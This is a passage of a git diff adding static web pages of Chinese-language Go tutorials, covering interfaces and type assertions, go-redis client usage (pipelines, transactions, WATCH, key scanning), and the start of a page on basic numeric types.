type ZhiFuBao struct {
// 支付宝
}

// Pay 支付宝的支付方法
func (z *ZhiFuBao) Pay(amount int64) {
fmt.Printf("使用支付宝付款:%.2f元。\n", float64(amount/100))
}

// Checkout 结账
func Checkout(obj *ZhiFuBao) {
// 支付100元
obj.Pay(100)
}

func main() {
Checkout(&ZhiFuBao{})
}
+

随着业务的发展,根据用户需求添加支持微信支付。

+
type WeChat struct {
// 微信
}

// Pay 微信的支付方法
func (w *WeChat) Pay(amount int64) {
fmt.Printf("使用微信付款:%.2f元。\n", float64(amount/100))
}
+

在实际的交易流程中,我们可以根据用户选择的支付方式来决定最终调用支付宝的Pay方法还是微信支付的Pay方法。

+
// Checkout 支付宝结账
func CheckoutWithZFB(obj *ZhiFuBao) {
// 支付100元
obj.Pay(100)
}

// Checkout 微信支付结账
func CheckoutWithWX(obj *WeChat) {
// 支付100元
obj.Pay(100)
}
+

实际上,从上面的代码示例中我们可以看出,我们其实并不怎么关心用户选择的是什么支付方式,我们只关心调用Pay方法时能否正常运行。这就是典型的“不关心它是什么,只关心它能做什么”的场景。

+

在这种场景下我们可以将具体的支付方式抽象为一个名为Payer的接口类型,即任何实现了Pay方法的都可以称为Payer类型。

+
// Payer 包含支付方法的接口类型
type Payer interface {
Pay(int64)
}
+

此时只需要修改下原始的Checkout函数,它接收一个Payer类型的参数。这样就能够在不修改既有函数调用的基础上,支持新的支付方式。

+
// Checkout 结账
func Checkout(obj Payer) {
// 支付100元
obj.Pay(100)
}

func main() {
Checkout(&ZhiFuBao{}) // 之前调用支付宝支付

Checkout(&WeChat{}) // 现在支持使用微信支付
}
+

像类似的例子在我们编程过程中会经常遇到:

+
    +
  • 比如一个网上商城可能使用支付宝、微信、银联等方式去在线支付,我们能不能把它们当成“支付方式”来处理呢?
  • +
  • 比如三角形,四边形,圆形都能计算周长和面积,我们能不能把它们当成“图形”来处理呢?
  • +
  • 比如满减券、立减券、打折券都属于电商场景下常见的优惠方式,我们能不能把它们当成“优惠券”来处理呢?
  • +
+

接口类型是Go语言提供的一种工具,在实际的编码过程中是否使用它由你自己决定,但是通常使用接口类型可以使代码更清晰易读。

+

接口类型变量​

+

那实现了接口又有什么用呢?一个接口类型的变量能够存储所有实现了该接口的类型变量。

+

例如在上面的示例中,Dog和Cat类型均实现了Sayer接口,此时一个Sayer类型的变量就能够接收Cat和Dog类型的变量。

+
var x Sayer // 声明一个Sayer类型的变量x
a := Cat{} // 声明一个Cat类型变量a
b := Dog{} // 声明一个Dog类型变量b
x = a // 可以把Cat类型变量直接赋值给x
x.Say() // 喵喵喵
x = b // 可以把Dog类型变量直接赋值给x
x.Say() // 汪汪汪
+

值接收者和指针接收者​

+

在结构体那一章节中,我们介绍了在定义结构体方法时既可以使用值接收者也可以使用指针接收者。那么对于实现接口来说使用值接收者和使用指针接收者有什么区别呢?接下来我们通过一个例子看一下其中的区别。

+

我们定义一个Mover接口,它包含一个Move方法。

+
// Mover 定义一个接口类型
type Mover interface {
Move()
}
+

值接收者实现接口​

+

我们定义一个Dog结构体类型,并使用值接收者为其定义一个Move方法。

+
// Dog 狗结构体类型
type Dog struct{}

// Move 使用值接收者定义Move方法实现Mover接口
func (d Dog) Move() {
fmt.Println("狗会动")
}
+

此时实现Mover接口的是Dog类型。

+
var x Mover    // 声明一个Mover类型的变量x

var d1 = Dog{} // d1是Dog类型
x = d1 // 可以将d1赋值给变量x
x.Move()

var d2 = &Dog{} // d2是Dog指针类型
x = d2 // 也可以将d2赋值给变量x
x.Move()
+

从上面的代码中我们可以发现,使用值接收者实现接口之后,不管是结构体类型还是对应的结构体指针类型的变量都可以赋值给该接口变量。

+

指针接收者实现接口​

+

我们再来测试一下使用指针接收者实现接口有什么区别。

+
// Cat 猫结构体类型
type Cat struct{}

// Move 使用指针接收者定义Move方法实现Mover接口
func (c *Cat) Move() {
fmt.Println("猫会动")
}
+

此时实现Mover接口的是*Cat类型,我们可以将*Cat类型的变量直接赋值给Mover接口类型的变量x。

+
var c1 = &Cat{} // c1是*Cat类型
x = c1 // 可以将c1当成Mover类型
x.Move()
+

但是不能给将Cat类型的变量赋值给Mover接口类型的变量x。

+
// 下面的代码无法通过编译
var c2 = Cat{} // c2是Cat类型
x = c2 // 不能将c2当成Mover类型
+

由于Go语言中有对指针求值的语法糖,对于值接收者实现的接口,无论使用值类型还是指针类型都没有问题。但是我们并不总是能对一个值求址,所以对于指针接收者实现的接口要额外注意。

+

类型与接口的关系​

+

一个类型实现多个接口​

+

一个类型可以同时实现多个接口,而接口间彼此独立,不知道对方的实现。例如狗不仅可以叫,还可以动。我们完全可以分别定义Sayer接口和Mover接口,具体代码示例如下。

+
// Sayer 接口
type Sayer interface {
Say()
}

// Mover 接口
type Mover interface {
Move()
}
+

Dog既可以实现Sayer接口,也可以实现Mover接口。

+
type Dog struct {
Name string
}

// 实现Sayer接口
func (d Dog) Say() {
fmt.Printf("%s会叫汪汪汪\n", d.Name)
}

// 实现Mover接口
func (d Dog) Move() {
fmt.Printf("%s会动\n", d.Name)
}
+

同一个类型实现不同的接口互相不影响使用。

+
var d = Dog{Name: "旺财"}

var s Sayer = d
var m Mover = d

s.Say() // 对Sayer类型调用Say方法
m.Move() // 对Mover类型调用Move方法
+

多种类型实现同一接口​

+

Go语言中不同的类型还可以实现同一接口。例如在我们的代码世界中不仅狗可以动,汽车也可以动。我们可以使用如下代码体现这个关系。

+
// 实现Mover接口
func (d Dog) Move() {
fmt.Printf("%s会动\n", d.Name)
}

// Car 汽车结构体类型
type Car struct {
Brand string
}

// Move Car类型实现Mover接口
func (c Car) Move() {
fmt.Printf("%s速度70迈\n", c.Brand)
}
+

这样我们在代码中就可以把狗和汽车当成一个会动的类型来处理,不必关注它们具体是什么,只需要调用它们的Move方法就可以了。

+
var obj Mover

obj = Dog{Name: "旺财"}
obj.Move()

obj = Car{Brand: "宝马"}
obj.Move()
+

上面的代码执行结果如下:

+
旺财会跑
宝马速度70迈
+

一个接口的所有方法,不一定需要由一个类型完全实现,接口的方法可以通过在类型中嵌入其他类型或者结构体来实现。

+
// WashingMachine 洗衣机
type WashingMachine interface {
wash()
dry()
}

// 甩干器
type dryer struct{}

// 实现WashingMachine接口的dry()方法
func (d dryer) dry() {
fmt.Println("甩一甩")
}

// 海尔洗衣机
type haier struct {
dryer //嵌入甩干器
}

// 实现WashingMachine接口的wash()方法
func (h haier) wash() {
fmt.Println("洗刷刷")
}
+

接口组合​

+

接口与接口之间可以通过互相嵌套形成新的接口类型,例如Go标准库io源码中就有很多接口之间互相组合的示例。

+
// src/io/io.go

type Reader interface {
Read(p []byte) (n int, err error)
}

type Writer interface {
Write(p []byte) (n int, err error)
}

type Closer interface {
Close() error
}

// ReadWriter 是组合Reader接口和Writer接口形成的新接口类型
type ReadWriter interface {
Reader
Writer
}

// ReadCloser 是组合Reader接口和Closer接口形成的新接口类型
type ReadCloser interface {
Reader
Closer
}

// WriteCloser 是组合Writer接口和Closer接口形成的新接口类型
type WriteCloser interface {
Writer
Closer
}
+

对于这种由多个接口类型组合形成的新接口类型,同样只需要实现新接口类型中规定的所有方法就算实现了该接口类型。

+

接口也可以作为结构体的一个字段,我们来看一段Go标准库sort源码中的示例。

+
// src/sort/sort.go

// Interface 定义通过索引对元素排序的接口类型
type Interface interface {
Len() int
Less(i, j int) bool
Swap(i, j int)
}


// reverse 结构体中嵌入了Interface接口
type reverse struct {
Interface
}
+

通过在结构体中嵌入一个接口类型,从而让该结构体类型实现了该接口类型,并且还可以改写该接口的方法。

+
// Less 为reverse类型添加Less方法,重写原Interface接口类型的Less方法
func (r reverse) Less(i, j int) bool {
return r.Interface.Less(j, i)
}
+

Interface类型原本的Less方法签名为Less(i, j int) bool,此处重写为r.Interface.Less(j, i),即通过将索引参数交换位置实现反转。

+

在这个示例中还有一个需要注意的地方是reverse结构体本身是不可导出的(结构体类型名称首字母小写),sort.go中通过定义一个可导出的Reverse函数来让使用者创建reverse结构体实例。

+
func Reverse(data Interface) Interface {
return &reverse{data}
}
+

这样做的目的是保证得到的reverse结构体中的Interface属性一定不为nil,否者r.Interface.Less(j, i)就会出现空指针panic。

+

此外在Go内置标准库database/sql中也有很多类似的结构体内嵌接口类型的使用示例,各位读者可自行查阅。

+

空接口​

+

空接口的定义​

+

空接口是指没有定义任何方法的接口类型。因此任何类型都可以视为实现了空接口。也正是因为空接口类型的这个特性,空接口类型的变量可以存储任意类型的值。

+
package main

import "fmt"

// 空接口

// Any 不包含任何方法的空接口类型
type Any interface{}

// Dog 狗结构体
type Dog struct{}

func main() {
var x Any

x = "你好" // 字符串型
fmt.Printf("type:%T value:%v\n", x, x)
x = 100 // int型
fmt.Printf("type:%T value:%v\n", x, x)
x = true // 布尔型
fmt.Printf("type:%T value:%v\n", x, x)
x = Dog{} // 结构体类型
fmt.Printf("type:%T value:%v\n", x, x)
}
+

通常我们在使用空接口类型时不必使用type关键字声明,可以像下面的代码一样直接使用interface{}。

+
var x interface{}  // 声明一个空接口类型变量x
+

空接口的应用​

+

空接口作为函数的参数​

+

使用空接口实现可以接收任意类型的函数参数。

+
// 空接口作为函数参数
func show(a interface{}) {
fmt.Printf("type:%T value:%v\n", a, a)
}
+

空接口作为map的值​

+

使用空接口实现可以保存任意值的字典。

+
// 空接口作为map值
var studentInfo = make(map[string]interface{})
studentInfo["name"] = "沙河娜扎"
studentInfo["age"] = 18
studentInfo["married"] = false
fmt.Println(studentInfo)
+

接口值​

+

由于接口类型的值可以是任意一个实现了该接口的类型值,所以接口值除了需要记录具体值之外,还需要记录这个值属于的类型。也就是说接口值由“类型”和“值”组成,鉴于这两部分会根据存入值的不同而发生变化,我们称之为接口的动态类型和动态值。

+

接口值示例

+

我们接下来通过一个示例来加深对接口值的理解。

+

下面的示例代码中,定义了一个Mover接口类型和两个实现了该接口的Dog和Car结构体类型。

+
type Mover interface {
Move()
}

type Dog struct {
Name string
}

func (d *Dog) Move() {
fmt.Println("狗在跑~")
}

type Car struct {
Brand string
}

func (c *Car) Move() {
fmt.Println("汽车在跑~")
}
+

首先,我们创建一个Mover接口类型的变量m。

+
var m Mover
+

此时,接口变量m是接口类型的零值,也就是它的类型和值部分都是nil,就如下图所示。

+

接口值示例

+

我们可以使用m == nil来判断此时的接口值是否为空。

+
fmt.Println(m == nil)  // true
+

**注意:**我们不能对一个空接口值调用任何方法,否则会产生panic。

+
m.Move() // panic: runtime error: invalid memory address or nil pointer dereference
+

接下来,我们将一个*Dog结构体指针赋值给变量m。

+
m = &Dog{Name: "旺财"}
+

此时,接口值m的动态类型会被设置为*Dog,动态值为结构体变量的拷贝。

+

接口值示例

+

然后,我们给接口变量m赋值为一个*Car类型的值。

+
var c *Car
m = c
+

这一次,接口值m的动态类型为*Car,动态值为nil。

+

接口值示例

+

**注意:**此时接口变量m与nil并不相等,因为它只是动态值的部分为nil,而动态类型部分保存着对应值的类型。

+
fmt.Println(m == nil) // false
+

接口值是支持相互比较的,当且仅当接口值的动态类型和动态值都相等时才相等。

+
var (
x Mover = new(Dog)
y Mover = new(Car)
)
fmt.Println(x == y) // false
+

但是有一种特殊情况需要特别注意,如果接口值保存的动态类型相同,但是这个动态类型不支持互相比较(比如切片),那么对它们相互比较时就会引发panic。

+
var z interface{} = []int{1, 2, 3}
fmt.Println(z == z) // panic: runtime error: comparing uncomparable type []int
+

类型断言​

+

接口值可能赋值为任意类型的值,那我们如何从接口值获取其存储的具体数据呢?

+

我们可以借助标准库fmt包的格式化打印获取到接口值的动态类型。

+
var m Mover

m = &Dog{Name: "旺财"}
fmt.Printf("%T\n", m) // *main.Dog

m = new(Car)
fmt.Printf("%T\n", m) // *main.Car
+

而fmt包内部其实是使用反射的机制在程序运行时获取到动态类型的名称。关于反射的内容我们会在后续章节详细介绍。

+

而想要从接口值中获取到对应的实际值需要使用类型断言,其语法格式如下。

+
x.(T)
+

其中:

+
    +
  • x:表示接口类型的变量
  • +
  • T:表示断言x可能是的类型。
  • +
+

该语法返回两个参数,第一个参数是x转化为T类型后的变量,第二个值是一个布尔值,若为true则表示断言成功,为false则表示断言失败。

+

举个例子:

+
var n Mover = &Dog{Name: "旺财"}
v, ok := n.(*Dog)
if ok {
fmt.Println("类型断言成功")
v.Name = "富贵" // 变量v是*Dog类型
} else {
fmt.Println("类型断言失败")
}
+

如果对一个接口值有多个实际类型需要判断,推荐使用switch语句来实现。

+
// justifyType 对传入的空接口类型变量x进行类型断言
func justifyType(x interface{}) {
switch v := x.(type) {
case string:
fmt.Printf("x is a string,value is %v\n", v)
case int:
fmt.Printf("x is a int is %v\n", v)
case bool:
fmt.Printf("x is a bool is %v\n", v)
default:
fmt.Println("unsupport type!")
}
}
+

由于接口类型变量能够动态存储不同类型值的特点,所以很多初学者会滥用接口类型(特别是空接口)来实现编码过程中的便捷。只有当有两个或两个以上的具体类型必须以相同的方式进行处理时才需要定义接口。切记不要为了使用接口类型而增加不必要的抽象,导致不必要的运行时损耗。

+

在 Go 语言中接口是一个非常重要的概念和特性,使用接口类型能够实现代码的抽象和解耦,也可以隐藏某个功能的内部实现,但是缺点就是在查看源码的时候,不太方便查找到具体实现接口的类型。

+

相信很多读者在刚接触到接口类型时都会有很多疑惑,请牢记接口是一种类型,一种抽象的类型。区别于我们在之前章节提到的那些具体类型(整型、数组、结构体类型等),它是一个只要求实现特定方法的抽象类型。

+

小技巧: 下面的代码可以在程序编译阶段验证某一结构体是否满足特定的接口类型。

+
// 摘自gin框架routergroup.go
type IRouter interface{ ... }

type RouterGroup struct { ... }

var _ IRouter = &RouterGroup{} // 确保RouterGroup实现了接口IRouter
+

上面的代码中也可以使用var _ IRouter = (*RouterGroup)(nil)进行验证。

+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-操作Redis/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-操作Redis/index.html new file mode 100644 index 0000000..3c6674a --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-操作Redis/index.html @@ -0,0 +1,112 @@ + + + + + +Redis | wjlin0 + + + + + + + +

Redis

+

在项目开发中redis的使用也比较频繁,本文介绍了Go语言中go-redis库的基本使用。

+

Redis介绍​

+

Redis是一个开源的内存数据库,Redis提供了多种不同类型的数据结构,很多业务场景下的问题都可以很自然地映射到这些数据结构上。除此之外,通过复制、持久化和客户端分片等特性,我们可以很方便地将Redis扩展成一个能够包含数百GB数据、每秒处理上百万次请求的系统。

+

Redis支持的数据结构​

+

Redis支持诸如字符串(string)、哈希(hashe)、列表(list)、集合(set)、带范围查询的排序集合(sorted set)、bitmap、hyperloglog、带半径查询的地理空间索引(geospatial index)和流(stream)等数据结构。

+

Redis应用场景​

+
    +
  • 缓存系统,减轻主数据库(MySQL)的压力。
  • +
  • 计数场景,比如微博、抖音中的关注数和粉丝数。
  • +
  • 热门排行榜,需要排序的场景特别适合使用ZSET。
  • +
  • 利用 LIST 可以实现队列的功能。
  • +
  • 利用 HyperLogLog 统计UV、PV等数据。
  • +
  • 使用 geospatial index 进行地理位置相关查询。
  • +
+

准备Redis环境​

+

读者可以选择在本机安装 redis 或使用云数据库,这里直接使用Docker启动一个 redis 环境,方便学习使用。

+

使用下面的命令启动一个名为 redis507 的 5.0.7 版本的 redis server环境。

+
docker run --name redis507 -p 6379:6379 -d redis:5.0.7
+

**注意:**此处的版本、容器名和端口号可以根据自己需要设置。

+

启动一个 redis-cli 连接上面的 redis server。

+
docker run -it --network host --rm redis:5.0.7 redis-cli
+

go-redis库​

+

安装​

+

Go 社区中目前有很多成熟的 redis client 库,比如[https://github.com/gomodule/redigo 和https://github.com/go-redis/redis,读者可以自行选择适合自己的库。本书使用 go-redis 这个库来操作 Redis 数据库。

+

使用以下命令下安装 go-redis 库。

+
go get github.com/go-redis/redis/v8
+

连接​

+

普通连接模式​

+

go-redis 库中使用 redis.NewClient 函数连接 Redis 服务器。

+
rdb := redis.NewClient(&redis.Options{
Addr: "localhost:6379",
Password: "", // 密码
DB: 0, // 数据库
PoolSize: 20, // 连接池大小
})
+

除此之外,还可以使用 redis.ParseURL 函数从表示数据源的字符串中解析得到 Redis 服务器的配置信息。

+
opt, err := redis.ParseURL("redis://<user>:<pass>@localhost:6379/<db>")
if err != nil {
panic(err)
}

rdb := redis.NewClient(opt)
+

TLS连接模式​

+

如果使用的是 TLS 连接方式,则需要使用 tls.Config 配置。

+
rdb := redis.NewClient(&redis.Options{
TLSConfig: &tls.Config{
MinVersion: tls.VersionTLS12,
// Certificates: []tls.Certificate{cert},
// ServerName: "your.domain.com",
},
})
+

Redis Sentinel模式​

+

使用下面的命令连接到由 Redis Sentinel 管理的 Redis 服务器。

+
rdb := redis.NewFailoverClient(&redis.FailoverOptions{
MasterName: "master-name",
SentinelAddrs: []string{":9126", ":9127", ":9128"},
})
+

Redis Cluster模式​

+

使用下面的命令连接到 Redis Cluster,go-redis 支持按延迟或随机路由命令。

+
rdb := redis.NewClusterClient(&redis.ClusterOptions{
Addrs: []string{":7000", ":7001", ":7002", ":7003", ":7004", ":7005"},

// 若要根据延迟或随机路由命令,请启用以下命令之一
// RouteByLatency: true,
// RouteRandomly: true,
})
+

基本使用​

+

执行命令​

+

下面的示例代码演示了 go-redis 库的基本使用。

+
// doCommand go-redis基本使用示例
func doCommand() {
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
defer cancel()

// 执行命令获取结果
val, err := rdb.Get(ctx, "key").Result()
fmt.Println(val, err)

// 先获取到命令对象
cmder := rdb.Get(ctx, "key")
fmt.Println(cmder.Val()) // 获取值
fmt.Println(cmder.Err()) // 获取错误

// 直接执行命令获取错误
err = rdb.Set(ctx, "key", 10, time.Hour).Err()

// 直接执行命令获取值
value := rdb.Get(ctx, "key").Val()
fmt.Println(value)
}
+

执行任意命令​

+

go-redis 还提供了一个执行任意命令或自定义命令的 Do 方法,特别是一些 go-redis 库暂时不支持的命令都可以使用该方法执行。具体使用方法如下。

+
// doDemo rdb.Do 方法使用示例
func doDemo() {
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
defer cancel()

// 直接执行命令获取错误
err := rdb.Do(ctx, "set", "key", 10, "EX", 3600).Err()
fmt.Println(err)

// 执行命令获取结果
val, err := rdb.Do(ctx, "get", "key").Result()
fmt.Println(val, err)
}
+

redis.Nil​

+

go-redis 库提供了一个 redis.Nil 错误来表示 Key 不存在的错误。因此在使用 go-redis 时需要注意对返回错误的判断。在某些场景下我们应该区别处理 redis.Nil 和其他不为 nil 的错误。

+
// getValueFromRedis redis.Nil判断
func getValueFromRedis(key, defaultValue string) (string, error) {
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
defer cancel()

val, err := rdb.Get(ctx, key).Result()
if err != nil {
// 如果返回的错误是key不存在
if errors.Is(err, redis.Nil) {
return defaultValue, nil
}
// 出其他错了
return "", err
}
return val, nil
}
+

其他示例​

+

zset示例​

+

下面的示例代码演示了如何使用 go-redis 库操作 zset。

+
// zsetDemo 操作zset示例
func zsetDemo() {
// key
zsetKey := "language_rank"
// value
languages := []*redis.Z{
{Score: 90.0, Member: "Golang"},
{Score: 98.0, Member: "Java"},
{Score: 95.0, Member: "Python"},
{Score: 97.0, Member: "JavaScript"},
{Score: 99.0, Member: "C/C++"},
}
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
defer cancel()

// ZADD
err := rdb.ZAdd(ctx, zsetKey, languages...).Err()
if err != nil {
fmt.Printf("zadd failed, err:%v\n", err)
return
}
fmt.Println("zadd success")

// 把Golang的分数加10
newScore, err := rdb.ZIncrBy(ctx, zsetKey, 10.0, "Golang").Result()
if err != nil {
fmt.Printf("zincrby failed, err:%v\n", err)
return
}
fmt.Printf("Golang's score is %f now.\n", newScore)

// 取分数最高的3个
ret := rdb.ZRevRangeWithScores(ctx, zsetKey, 0, 2).Val()
for _, z := range ret {
fmt.Println(z.Member, z.Score)
}

// 取95~100分的
op := &redis.ZRangeBy{
Min: "95",
Max: "100",
}
ret, err = rdb.ZRangeByScoreWithScores(ctx, zsetKey, op).Result()
if err != nil {
fmt.Printf("zrangebyscore failed, err:%v\n", err)
return
}
for _, z := range ret {
fmt.Println(z.Member, z.Score)
}
}
+

执行上面的函数将得到如下输出结果。

+
zadd success
Golang's score is 100.000000 now.
Golang 100
C/C++ 99
Java 98
Python 95
JavaScript 97
Java 98
C/C++ 99
Golang 100
+

扫描或遍历所有key​

+

你可以使用KEYS prefix:* 命令按前缀获取所有 key。

+
vals, err := rdb.Keys(ctx, "prefix*").Result()
+

但是如果需要扫描数百万的 key ,那速度就会比较慢。这种场景下你可以使用Scan 命令来遍历所有符合要求的 key。

+
// scanKeysDemo1 按前缀查找所有key示例
func scanKeysDemo1() {
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
defer cancel()

var cursor uint64
for {
var keys []string
var err error
// 按前缀扫描key
keys, cursor, err = rdb.Scan(ctx, cursor, "prefix:*", 0).Result()
if err != nil {
panic(err)
}

for _, key := range keys {
fmt.Println("key", key)
}

if cursor == 0 { // no more keys
break
}
}
}
+

Go-redis 允许将上面的代码简化为如下示例。

+
// scanKeysDemo2 按前缀扫描key示例
func scanKeysDemo2() {
ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
defer cancel()
// 按前缀扫描key
iter := rdb.Scan(ctx, 0, "prefix:*", 0).Iterator()
for iter.Next(ctx) {
fmt.Println("keys", iter.Val())
}
if err := iter.Err(); err != nil {
panic(err)
}
}
+

例如,我们可以写出一个将所有匹配指定模式的 key 删除的示例。

+
// delKeysByMatch 按match格式扫描所有key并删除
func delKeysByMatch(match string, timeout time.Duration) {
ctx, cancel := context.WithTimeout(context.Background(), timeout)
defer cancel()

iter := rdb.Scan(ctx, 0, match, 0).Iterator()
for iter.Next(ctx) {
err := rdb.Del(ctx, iter.Val()).Err()
if err != nil {
panic(err)
}
}
if err := iter.Err(); err != nil {
panic(err)
}
}
+

此外,对于 Redis 中的 set、hash、zset 数据类型,go-redis 也支持类似的遍历方法。

+
iter := rdb.SScan(ctx, "set-key", 0, "prefix:*", 0).Iterator()
iter := rdb.HScan(ctx, "hash-key", 0, "prefix:*", 0).Iterator()
iter := rdb.ZScan(ctx, "sorted-hash-key", 0, "prefix:*", 0).Iterator(
+

Pipeline​

+

Redis Pipeline 允许通过使用单个 client-server-client 往返执行多个命令来提高性能。区别于一个接一个地执行100个命令,你可以将这些命令放入 pipeline 中,然后使用1次读写操作像执行单个命令一样执行它们。这样做的好处是节省了执行命令的网络往返时间(RTT)。

+

y在下面的示例代码中演示了使用 pipeline 通过一个 write + read 操作来执行多个命令。

+
pipe := rdb.Pipeline()

incr := pipe.Incr(ctx, "pipeline_counter")
pipe.Expire(ctx, "pipeline_counter", time.Hour)

cmds, err := pipe.Exec(ctx)
if err != nil {
panic(err)
}

// 在执行pipe.Exec之后才能获取到结果
fmt.Println(incr.Val())
+

上面的代码相当于将以下两个命令一次发给 Redis Server 端执行,与不使用 Pipeline 相比能减少一次RTT。

+
INCR pipeline_counter
EXPIRE pipeline_counts 3600
+

或者,你也可以使用Pipelined 方法,它会在函数退出时调用 Exec。

+
var incr *redis.IntCmd

cmds, err := rdb.Pipelined(ctx, func(pipe redis.Pipeliner) error {
incr = pipe.Incr(ctx, "pipelined_counter")
pipe.Expire(ctx, "pipelined_counter", time.Hour)
return nil
})
if err != nil {
panic(err)
}

// 在pipeline执行后获取到结果
fmt.Println(incr.Val())
+

我们可以遍历 pipeline 命令的返回值依次获取每个命令的结果。下方的示例代码中使用pipiline一次执行了100个 Get 命令,在pipeline 执行后遍历取出100个命令的执行结果。

+
cmds, err := rdb.Pipelined(ctx, func(pipe redis.Pipeliner) error {
for i := 0; i < 100; i++ {
pipe.Get(ctx, fmt.Sprintf("key%d", i))
}
return nil
})
if err != nil {
panic(err)
}

for _, cmd := range cmds {
fmt.Println(cmd.(*redis.StringCmd).Val())
}
+

在那些我们需要一次性执行多个命令的场景下,就可以考虑使用 pipeline 来优化。

+

事务​

+

Redis 是单线程执行命令的,因此单个命令始终是原子的,但是来自不同客户端的两个给定命令可以依次执行,例如在它们之间交替执行。但是,Multi/exec能够确保在multi/exec两个语句之间的命令之间没有其他客户端正在执行命令。

+

在这种场景我们需要使用 TxPipeline 或 TxPipelined 方法将 pipeline 命令使用 MULTI 和EXEC包裹起来。

+
// TxPipeline demo
pipe := rdb.TxPipeline()
incr := pipe.Incr(ctx, "tx_pipeline_counter")
pipe.Expire(ctx, "tx_pipeline_counter", time.Hour)
_, err := pipe.Exec(ctx)
fmt.Println(incr.Val(), err)

// TxPipelined demo
var incr2 *redis.IntCmd
_, err = rdb.TxPipelined(ctx, func(pipe redis.Pipeliner) error {
incr2 = pipe.Incr(ctx, "tx_pipeline_counter")
pipe.Expire(ctx, "tx_pipeline_counter", time.Hour)
return nil
})
fmt.Println(incr2.Val(), err)
+

上面代码相当于在一个RTT下执行了下面的redis命令:

+
MULTI
INCR pipeline_counter
EXPIRE pipeline_counts 3600
EXEC
+

Watch​

+

我们通常搭配 WATCH命令来执行事务操作。从使用WATCH命令监视某个 key 开始,直到执行EXEC命令的这段时间里,如果有其他用户抢先对被监视的 key 进行了替换、更新、删除等操作,那么当用户尝试执行EXEC的时候,事务将失败并返回一个错误,用户可以根据这个错误选择重试事务或者放弃事务。

+

Watch方法接收一个函数和一个或多个key作为参数。

+
Watch(fn func(*Tx) error, keys ...string) error
+

下面的代码片段演示了 Watch 方法搭配 TxPipelined 的使用示例。

+
// watchDemo 在key值不变的情况下将其值+1
func watchDemo(ctx context.Context, key string) error {
return rdb.Watch(ctx, func(tx *redis.Tx) error {
n, err := tx.Get(ctx, key).Int()
if err != nil && err != redis.Nil {
return err
}
// 假设操作耗时5秒
// 5秒内我们通过其他的客户端修改key,当前事务就会失败
time.Sleep(5 * time.Second)
_, err = tx.TxPipelined(ctx, func(pipe redis.Pipeliner) error {
pipe.Set(ctx, key, n+1, time.Hour)
return nil
})
return err
}, key)
}
+

将上面的函数执行并打印其返回值,如果我们在程序运行后的5秒内修改了被 watch 的 key 的值,那么该事务操作失败,返回redis: transaction failed错误。

+

最后我们来看一个 go-redis 官方文档中使用 GET 、SET和WATCH命令实现一个 INCR 命令的完整示例。

+
const routineCount = 100

increment := func(key string) error {
txf := func(tx *redis.Tx) error {
// 获得当前值或零值
n, err := tx.Get(key).Int()
if err != nil && err != redis.Nil {
return err
}

// 实际操作(乐观锁定中的本地操作)
n++

// 仅在监视的Key保持不变的情况下运行
_, err = tx.Pipelined(func(pipe redis.Pipeliner) error {
// pipe 处理错误情况
pipe.Set(key, n, 0)
return nil
})
return err
}

for retries := routineCount; retries > 0; retries-- {
err := rdb.Watch(txf, key)
if err != redis.TxFailedErr {
return err
}
// 乐观锁丢失
}
return errors.New("increment reached maximum number of retries")
}

var wg sync.WaitGroup
wg.Add(routineCount)
for i := 0; i < routineCount; i++ {
go func() {
defer wg.Done()

if err := increment("counter3"); err != nil {
fmt.Println("increment error:", err)
}
}()
}
wg.Wait()

n, err := rdb.Get("counter3").Int()
fmt.Println("ended with", n, err)
+

在这个示例中使用了 redis.TxFailedErr 来检查事务是否失败。

+

更多详情请查阅文档。

+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-数据类型/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-数据类型/index.html new file mode 100644 index 0000000..cadd651 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-数据类型/index.html @@ -0,0 +1,217 @@ + + + + + +Go语言基础之基本数据类型 | wjlin0 + + + + + + + +

Go语言基础之基本数据类型

+

整型​

+

整型分为以下两个大类: 按长度分为:int8、int16、int32、int64 对应的无符号整型:uint8、uint16、uint32、uint64

+

其中,uint8就是我们熟知的byte型,int16对应C语言中的short型,int64对应C语言中的long型。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
类型描述
uint8无符号 8位整型 (0 到 255)
uint16无符号 16位整型 (0 到 65535)
uint32无符号 32位整型 (0 到 4294967295)
uint64无符号 64位整型 (0 到 18446744073709551615)
int8有符号 8位整型 (-128 到 127)
int16有符号 16位整型 (-32768 到 32767)
int32有符号 32位整型 (-2147483648 到 2147483647)
int64有符号 64位整型 (-9223372036854775808 到 9223372036854775807)
+

特殊整型​

+ + + + + + + + + + + + + + + + + + + + + +
类型描述
uint32位操作系统上就是uint32,64位操作系统上就是uint64
int32位操作系统上就是int32,64位操作系统上就是int64
uintptr无符号整型,用于存放一个指针
+

注意: 在使用int和 uint类型时,不能假定它是32位或64位的整型,而是考虑int和uint可能在不同平台上的差异。

+

注意事项 获取对象的长度的内建len()函数返回的长度可以根据不同平台的字节长度进行变化。实际使用中,切片或 map 的元素数量等都可以用int来表示。在涉及到二进制传输、读写文件的结构描述时,为了保持文件的结构不会受到不同编译目标平台字节长度的影响,不要使用int和 uint。

+

数字字面量语法(Number literals syntax)​

+

Go1.13版本之后引入了数字字面量语法,这样便于开发者以二进制、八进制或十六进制浮点数的格式定义数字,例如:

+

v := 0b00101101, 代表二进制的 101101,相当于十进制的 45。 v := 0o377,代表八进制的 377,相当于十进制的 255。 v := 0x1p-2,代表十六进制的 1 除以 2²,也就是 0.25。

+

而且还允许我们用 _ 来分隔数字,比如说: v := 123_456 表示 v 的值等于 123456。

+

我们可以借助fmt函数来将一个整数以不同进制形式展示。

+
package main

import "fmt"

func main(){
// 十进制
var a int = 10
fmt.Printf("%d \n", a) // 10
fmt.Printf("%b \n", a) // 1010 占位符%b表示二进制

// 八进制 以0开头
var b int = 077
fmt.Printf("%o \n", b) // 77

// 十六进制 以0x开头
var c int = 0xff
